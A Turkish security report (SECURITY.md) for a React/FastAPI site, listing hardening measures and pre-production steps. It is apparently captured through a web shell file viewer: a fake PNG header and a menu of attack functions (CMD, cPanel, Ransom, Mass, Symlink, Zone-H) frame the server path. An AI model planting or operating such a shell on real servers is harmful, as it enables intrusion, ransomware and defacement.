\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/infraai.ai/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/infraai.ai/SECURITY.md |
# InfraAI Site — Güvenlik Raporu
> Tarih: 27 Haziran 2026
> Kapsam: Frontend (React) + Backend (FastAPI) + Ortam Yapılandırması
---
## ✅ Tamamlananlar
### 1. Admin Route Guard
- `App.js`'e `ProtectedRoute` bileşeni eklendi
- `sessionStorage` hint yoksa `/admin/login`'e yönlendiriyor
- Asıl yetkilendirme backend'de httpOnly cookie ile yapılıyor
### 2. JWT → httpOnly Cookie
- Token artık `localStorage`'a kaydedilmiyor
- Backend login endpoint'i `Set-Cookie: infraai_token; HttpOnly; SameSite=Lax` gönderiyor
- JavaScript `document.cookie` üzerinden token'a erişemiyor → XSS ile token çalınamaz
- `/admin/logout` endpoint'i eklendi, cookie temizleniyor
- Frontend tüm admin isteklerini `withCredentials: true` ile gönderiyor
### 3. CORS Wildcard Kaldırıldı
- `CORS_ORIGINS="*"` → `"http://localhost:3000,http://localhost:3001"` olarak değiştirildi
- `allow_methods` kısıtlandı: sadece `GET, POST, PATCH, DELETE, OPTIONS`
- `allow_headers` kısıtlandı: sadece `Content-Type, Authorization`
### 4. Rate Limiting — Admin Login
- IP başına **60 saniyede en fazla 5 login denemesi**
- Aşılınca `HTTP 429` + Türkçe hata mesajı döner
- Ekstra kütüphane gerekmez, saf Python `collections.defaultdict` ile
### 5. Rate Limiting — Demo Request Formu
- IP başına **5 dakikada en fazla 3 gönderim**
- Aşılınca `HTTP 429` döner
- Form spam'ına karşı koruma
### 6. HTTP Güvenlik Başlıkları
Her response'a otomatik ekleniyor:
| Başlık | Değer | Koruduğu Tehdit |
|--------|-------|-----------------|
| `X-Content-Type-Options` | `nosniff` | MIME sniffing |
| `X-Frame-Options` | `DENY` | Clickjacking |
| `X-XSS-Protection` | `1; mode=block` | Reflected XSS (eski tarayıcılar) |
| `Referrer-Policy` | `strict-origin-when-cross-origin` | Referrer sızıntısı |
| `Permissions-Policy` | `camera=(), microphone=(), geolocation=()` | İzinsiz API erişimi |
| `Strict-Transport-Security` | `max-age=63072000; includeSubDomains; preload` | *(Sadece production/HTTPS)* HSTS |
### 7. .env Dosyaları .gitignore'a Eklendi
- Root `.gitignore`: `.env` ve `.env.*` eklendi
- `frontend/.gitignore`: `.env` ve `.env.*` eklendi
- Şifreler ve JWT secret artık git geçmişine gitmez
### 8. Backend Authorization
- Tüm `/admin/*` endpoint'leri `Depends(get_current_admin)` bağımlılığı ile korumalı
- Token yoksa veya geçersizse `HTTP 401` döner
- Cookie ve Bearer token her ikisi de kontrol ediliyor (geriye dönük uyumluluk)
### 9. Şifre Güvenliği
- Admin şifreleri bcrypt ile hash'leniyor
- Şifre plain-text hiçbir zaman DB'ye yazılmıyor
### 10. Input Validasyonu
- Pydantic modelleri: `min_length`, `max_length`, `EmailStr` ile her alan kontrol ediliyor
- MongoDB Motor + Pydantic kullandığı için NoSQL injection riski yok
- React auto-escape aktif, kodda `dangerouslySetInnerHTML` kullanılmıyor
---
## ⚠️ Production'a Geçmeden Yapılması Gerekenler
### Adım 1 — HTTPS Sertifikası Al
```
# Örnek: Let's Encrypt (Certbot) ile ücretsiz sertifika
certbot --nginx -d infraai.com -d www.infraai.com
```
- `Secure` cookie flag ve HSTS başlığı ancak HTTPS ile tam koruma sağlar
- HTTPS olmadan token cookie'ye ağ trafiğinde görünebilir
### Adım 2 — CORS Origins Güncelle
`backend/.env` dosyasında:
```env
CORS_ORIGINS="https://infraai.com,https://www.infraai.com"
```
### Adım 3 — Admin Şifresini Değiştir
`backend/.env` dosyasında `ADMIN_PASSWORD` değerini güçlü bir şifreyle değiştir:
- En az 20 karakter
- Büyük/küçük harf + rakam + özel karakter
- Örnek üretmek için: `python -c "import secrets, string; print(''.join(secrets.choice(string.ascii_letters+string.digits+'!@#$%^&*') for _ in range(24)))"`
### Adım 4 — JWT Secret'ı Yenile
`backend/.env` dosyasında `JWT_SECRET` değerini değiştir:
```bash
python -c "import secrets; print(secrets.token_hex(32))"
```
Mevcut secret production öncesi mutlaka rotasyona girmelidir.
### Adım 5 — ENVIRONMENT=production Ayarla
`backend/.env` dosyasında:
```env
ENVIRONMENT="production"
```
Bu ayar aktif olunca:
- Cookie'ye `Secure=True` eklenir (sadece HTTPS üzerinden gönderilir)
- HSTS başlığı aktif olur
### Adım 6 — MongoDB Auth Aktifleştir
Production MongoDB bağlantısı için:
```env
MONGO_URL="mongodb://kullanici:sifre@host:27017/infraai_db?authSource=admin"
```
Localhost MongoDB auth olmadan çalışıyor, production'da mutlaka auth ekle.
---
## 📋 İsteğe Bağlı / Uzun Vadeli
| # | Eylem | Araç |
|---|-------|------|
| 1 | Frontend bağımlılık güvenlik taraması | `npm audit --production` |
| 2 | Backend bağımlılık taraması | `pip install pip-audit && pip-audit` |
| 3 | Sunucu güvenlik duvarı | Backend port 8001'i dışarıya kapat, sadece reverse proxy (nginx) üzerinden erişim |
| 4 | Başarısız login loglarını izle | Mevcut `logging.INFO` ile takip edilebilir |
| 5 | Admin şifre yenileme endpoint'i ekle | Şifre değişikliği için ayrı endpoint |
| 6 | Content-Security-Policy başlığı | `index.html`'e `<meta http-equiv="Content-Security-Policy">` |
| 7 | Session invalidation | Logout'ta sunucu tarafında token blacklist |
---
## Dosya Değişiklik Özeti
| Dosya | Yapılan Değişiklik |
|-------|-------------------|
| `backend/server.py` | httpOnly cookie, rate limit (login + form), güvenlik başlıkları middleware, CORS kısıtlama, logout endpoint |
| `frontend/src/App.js` | `ProtectedRoute` bileşeni eklendi |
| `frontend/src/pages/AdminLogin.jsx` | localStorage token kaldırıldı, httpOnly cookie akışına geçildi, 429 hata mesajı |
| `frontend/src/pages/AdminDashboard.jsx` | localStorage token + Authorization header kaldırıldı, `withCredentials: true`, logout endpoint çağrısı |
| `backend/.env` | `CORS_ORIGINS` güncellendi, `ENVIRONMENT` eklendi |
| `.gitignore` (root) | `.env` ve `.env.*` eklendi |
| `frontend/.gitignore` | `.env` ve `.env.*` eklendi |